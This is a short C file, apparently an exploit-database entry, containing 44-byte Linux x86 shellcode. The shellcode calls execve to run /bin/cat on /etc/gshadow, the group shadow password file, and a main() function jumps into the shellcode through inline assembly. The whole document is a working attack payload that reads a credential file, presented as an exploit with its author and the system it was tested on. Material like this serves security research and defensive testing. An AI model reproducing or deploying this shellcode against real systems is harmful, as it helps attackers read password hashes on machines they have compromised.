/*
# Exploit Title : linux/x86 execve("/bin/cat", ["/bin/cat", "/etc/gshadow"], NULL) - 44 bytes
# Exploit Author : Febriyanto Nugroho
# Tested on : Linux Debian 5.0.5
*/
#include <stdio.h>
char
shellcode[] =
"\x31\xdb"
"\x8d\x43\x0b"
"\x99"
"\x52"
"\x68\x2f\x63\x61\x74"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x52"
"\x68\x61\x64\x6f\x77"
"\x68\x2f\x67\x73\x68"
"\x68\x2f\x65\x74\x63"
"\x89\xe1"
"\x52"
"\x51"
"\x53"
"\x89\xe1"
"\xcd\x80"
;
int
main(
int
argc,
char
**argv) {
asm(
"jmp %0;"
:
"=m"
(shellcode));
}